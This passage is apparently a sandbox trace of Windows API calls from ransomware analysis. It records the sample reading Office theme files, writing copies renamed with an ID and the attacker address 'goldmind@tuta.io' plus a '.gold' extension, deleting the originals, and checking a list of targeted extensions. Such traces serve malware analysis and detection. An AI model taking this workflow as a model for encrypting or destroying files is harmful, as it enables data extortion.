dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0095.528] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.528] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0095.529] GetLastError () returned 0x0 [0095.529] ReadFile (in: hFile=0x38c, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x5791, lpOverlapped=0x0) returned 1 [0095.678] WriteFile (in: hFile=0x398, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x57a0, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x57a0, lpOverlapped=0x0) returned 1 [0095.680] ReadFile (in: hFile=0x38c, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0095.680] WriteFile (in: hFile=0x398, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0095.680] SetEndOfFile (hFile=0x398) returned 1 [0095.680] CloseHandle (hObject=0x398) returned 1 [0095.680] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.681] SetEndOfFile (hFile=0x38c) returned 1 [0095.683] CloseHandle (hObject=0x38c) returned 1 [0095.683] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0095.735] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx")) returned 1 [0095.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0095.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0095.797] lstrlenW (lpString=".doc") returned 4 [0095.797] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0095.798] lstrlenW (lpString=".docx") returned 5 [0095.798] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0095.798] lstrlenW (lpString=".pdf") returned 4 [0095.798] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0095.798] lstrlenW (lpString=".xls") returned 4 [0095.798] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0095.798] lstrlenW (lpString=".xlsx") returned 5 [0095.798] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0095.798] lstrlenW (lpString=".ppt") returned 4 [0095.798] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0095.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0095.798] lstrlenW (lpString=".zip") returned 4 [0095.798] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0095.798] lstrlenW (lpString=".rar") returned 4 [0095.798] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0095.798] lstrlenW (lpString=".bz2") returned 4 [0095.798] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0095.798] lstrlenW (lpString=".7z") returned 3 [0095.798] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0095.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0095.798] lstrlenW (lpString=".dbf") returned 4 [0095.798] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0095.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0095.798] lstrlenW (lpString=".1cd") returned 4 [0095.798] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0095.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0095.798] lstrlenW (lpString=".jpg") returned 4 [0095.798] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0095.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0095.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0095.798] lstrlenW (lpString=".doc") returned 4 [0095.798] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0095.798] lstrlenW (lpString=".docx") returned 5 [0095.798] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0095.798] lstrlenW (lpString=".pdf") returned 4 [0095.798] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0095.798] lstrlenW (lpString=".xls") returned 4 [0095.798] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0095.798] lstrlenW (lpString=".xlsx") returned 5 [0095.798] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0095.798] lstrlenW (lpString=".ppt") returned 4 [0095.798] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0095.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0095.798] lstrlenW (lpString=".zip") returned 4 [0095.799] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0095.799] lstrlenW (lpString=".rar") returned 4 [0095.799] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0095.799] lstrlenW (lpString=".bz2") returned 4 [0095.799] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0095.799] lstrlenW (lpString=".7z") returned 3 [0095.799] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0095.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0095.799] lstrlenW (lpString=".dbf") returned 4 [0095.799] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0095.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0095.799] lstrlenW (lpString=".1cd") returned 4 [0095.799] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0095.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0095.799] lstrlenW (lpString=".jpg") returned 4 [0095.799] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0095.799] lstrcmpiW (lpString1=".eftx", lpString2=".gold") returned -1 [0095.799] lstrlenW (lpString="Foundry.eftx") returned 12 [0095.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0095.893] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=18226) returned 1 [0095.893] CloseHandle (hObject=0x3c4) returned 1 [0095.893] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx")) returned 0x20 [0095.894] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0095.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0095.894] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.894] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0095.894] GetLastError () returned 0x0 [0095.894] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x4732, lpOverlapped=0x0) returned 1 [0095.898] WriteFile (in: hFile=0x230, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x4740, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x4740, lpOverlapped=0x0) returned 1 [0095.899] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0095.899] WriteFile (in: hFile=0x230, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xec, lpOverlapped=0x0) returned 1 [0095.899] SetEndOfFile (hFile=0x230) returned 1 [0095.899] CloseHandle (hObject=0x230) returned 1 [0095.899] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.899] SetEndOfFile (hFile=0x3c4) returned 1 [0095.901] CloseHandle (hObject=0x3c4) returned 1 [0095.901] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0095.902] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx")) returned 1 [0095.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0095.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0095.902] lstrlenW (lpString=".doc") returned 4 [0095.902] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0095.902] lstrlenW (lpString=".docx") returned 5 [0095.902] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0095.902] lstrlenW (lpString=".pdf") returned 4 [0095.902] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0095.902] lstrlenW (lpString=".xls") returned 4 [0095.902] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0095.902] lstrlenW (lpString=".xlsx") returned 5 [0095.902] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0095.902] lstrlenW (lpString=".ppt") returned 4 [0095.902] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0095.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0095.902] lstrlenW (lpString=".zip") returned 4 [0095.902] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0095.902] lstrlenW (lpString=".rar") returned 4 [0095.902] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0095.902] lstrlenW (lpString=".bz2") returned 4 [0095.902] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0095.902] lstrlenW (lpString=".7z") returned 3 [0095.902] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0095.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0095.902] lstrlenW (lpString=".dbf") returned 4 [0095.902] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0095.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0095.902] lstrlenW (lpString=".1cd") returned 4 [0095.902] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0095.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0095.903] lstrlenW (lpString=".jpg") returned 4 [0095.903] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0095.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0095.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0095.903] lstrlenW (lpString=".doc") returned 4 [0095.903] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0095.903] lstrlenW (lpString=".docx") returned 5 [0095.903] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0095.903] lstrlenW (lpString=".pdf") returned 4 [0095.903] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0095.903] lstrlenW (lpString=".xls") returned 4 [0095.903] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0095.903] lstrlenW (lpString=".xlsx") returned 5 [0095.903] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0095.903] lstrlenW (lpString=".ppt") returned 4 [0095.903] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0095.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0095.903] lstrlenW (lpString=".zip") returned 4 [0095.903] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0095.903] lstrlenW (lpString=".rar") returned 4 [0095.903] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0095.903] lstrlenW (lpString=".bz2") returned 4 [0095.903] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0095.903] lstrlenW (lpString=".7z") returned 3 [0095.903] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0095.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0095.903] lstrlenW (lpString=".dbf") returned 4 [0095.903] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0095.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0095.903] lstrlenW (lpString=".1cd") returned 4 [0095.903] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0095.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0095.903] lstrlenW (lpString=".jpg") returned 4 [0095.903] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0095.903] lstrcmpiW (lpString1=".eftx", lpString2=".gold") returned -1 [0095.903] lstrlenW (lpString="Horizon.eftx") returned 12 [0095.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0095.904] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=211090) returned 1 [0095.904] CloseHandle (hObject=0x3c4) returned 1 [0095.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx")) returned 0x20 [0095.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0095.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0095.905] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.905] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0095.905] GetLastError () returned 0x0 [0095.905] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x33892, lpOverlapped=0x0) returned 1 [0095.910] WriteFile (in: hFile=0x230, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x338a0, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x338a0, lpOverlapped=0x0) returned 1 [0095.913] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0095.913] WriteFile (in: hFile=0x230, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xec, lpOverlapped=0x0) returned 1 [0095.913] SetEndOfFile (hFile=0x230) returned 1 [0095.913] CloseHandle (hObject=0x230) returned 1 [0095.913] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.913] SetEndOfFile (hFile=0x3c4) returned 1 [0095.917] CloseHandle (hObject=0x3c4) returned 1 [0095.917] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0095.917] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx")) returned 1 [0095.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0095.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0095.918] lstrlenW (lpString=".doc") returned 4 [0095.918] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0095.918] lstrlenW (lpString=".docx") returned 5 [0095.918] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0095.918] lstrlenW (lpString=".pdf") returned 4 [0095.918] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0095.918] lstrlenW (lpString=".xls") returned 4 [0095.918] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0095.918] lstrlenW (lpString=".xlsx") returned 5 [0095.918] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0095.918] lstrlenW (lpString=".ppt") returned 4 [0095.918] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0095.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0095.918] lstrlenW (lpString=".zip") returned 4 [0095.918] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0095.918] lstrlenW (lpString=".rar") returned 4 [0095.918] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0095.918] lstrlenW (lpString=".bz2") returned 4 [0095.918] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0095.918] lstrlenW (lpString=".7z") returned 3 [0095.918] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0095.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0095.918] lstrlenW (lpString=".dbf") returned 4 [0095.918] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0095.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0095.918] lstrlenW (lpString=".1cd") returned 4 [0095.919] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0095.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0095.919] lstrlenW (lpString=".jpg") returned 4 [0095.919] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0095.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0095.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0095.919] lstrlenW (lpString=".doc") returned 4 [0095.919] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0095.919] lstrlenW (lpString=".docx") returned 5 [0095.919] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0095.919] lstrlenW (lpString=".pdf") returned 4 [0095.919] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0095.919] lstrlenW (lpString=".xls") returned 4 [0095.919] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0095.919] lstrlenW (lpString=".xlsx") returned 5 [0095.919] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0095.919] lstrlenW (lpString=".ppt") returned 4 [0095.919] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0095.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0095.919] lstrlenW (lpString=".zip") returned 4 [0095.919] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0095.919] lstrlenW (lpString=".rar") returned 4 [0095.919] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0095.919] lstrlenW (lpString=".bz2") returned 4 [0095.919] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0095.919] lstrlenW (lpString=".7z") returned 3 [0095.919] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0095.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0095.919] lstrlenW (lpString=".dbf") returned 4 [0095.919] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0095.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0095.919] lstrlenW (lpString=".1cd") returned 4 [0095.919] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0095.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0095.919] lstrlenW (lpString=".jpg") returned 4 [0095.919] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0095.919] lstrcmpiW (lpString1=".eftx", lpString2=".gold") returned -1 [0095.919] lstrlenW (lpString="Median.eftx") returned 11 [0095.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0095.920] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=39546) returned 1 [0095.920] CloseHandle (hObject=0x3c4) returned 1 [0095.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx")) returned 0x20 [0095.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0095.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0095.921] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.921] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, 